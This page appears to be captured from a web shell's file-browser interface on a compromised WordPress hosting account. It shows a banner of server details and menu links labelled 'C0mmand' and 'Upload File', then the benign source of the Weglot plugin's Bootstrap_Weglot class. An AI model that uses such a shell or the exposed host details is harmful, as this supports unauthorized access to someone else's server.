|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/ludmqhh/www/hotel-forum/wp-content/_plugins/weglot/src/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
namespace WeglotWP;
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
use Exception;
use WeglotWP\Models\Hooks_Interface_Weglot;
/**
* Init plugin
*
* @since 2.0
*/
class Bootstrap_Weglot {
/**
* List actions WordPress
* @since 2.0
* @var array<int,string>
*/
protected $actions = array();
/**
* List class services
* @since 2.0
* @var array<int|string,mixed>
*/
protected $services = array();
/**
* Set actions
*
* @since 2.0
* @param array<int|string,mixed> $actions
* @return Bootstrap_Weglot
*/
public function set_actions( $actions ) {
$this->actions = $actions;
return $this;
}
/**
* Set services
* @since 2.0
* @param array<int|string,mixed> $services
* @return Bootstrap_Weglot
*/
public function set_services( $services ) {
foreach ( $services as $service ) {
$this->set_service( $service );
}
return $this;
}
/**
* Set a service
* @since 2.0
* @param string $service
* @return Bootstrap_Weglot
*/
public function set_service( $service ) {
$name = explode( '\\', $service );
end( $name );
$key = key( $name );
$this->services[ $name[ $key ] ] = $service;
return $this;
}
/**
* Get one service by classname
* @param string $name
* @return object
* @throws Exception
* @since 2.0
*/
public function get_service( $name ) {
if ( ! array_key_exists( $name, $this->services ) ) {
throw new Exception( 'Service : ' . $name . ' not exist' );
}
if ( is_string( $this->services[ $name ] ) ) {
$this->services[ $name ] = new $this->services[ $name ]();
}
return $this->services[ $name ];
}
/**
* Init plugin
* @since 2.0
* @return void
*/
public function init_plugin() {
foreach ( $this->actions as $action ) {
$action = new $action();
if ( $action instanceof Hooks_Interface_Weglot ) {
$action->hooks();
}
}
}
/**
* Activate plugin
* @since 2.0
* @return void
*/
public function activate_plugin() {
foreach ( $this->actions as $action ) {
$action = new $action();
if ( ! method_exists( $action, 'activate' ) ) {
continue;
}
$action->activate();
}
}
/**
* Deactivate plugin
* @since 2.0
* @return void
*/
public function deactivate_plugin() {
foreach ( $this->actions as $action ) {
$action = new $action();
if ( ! method_exists( $action, 'deactivate' ) ) {
continue;
}
$action->deactivate();
}
}
}
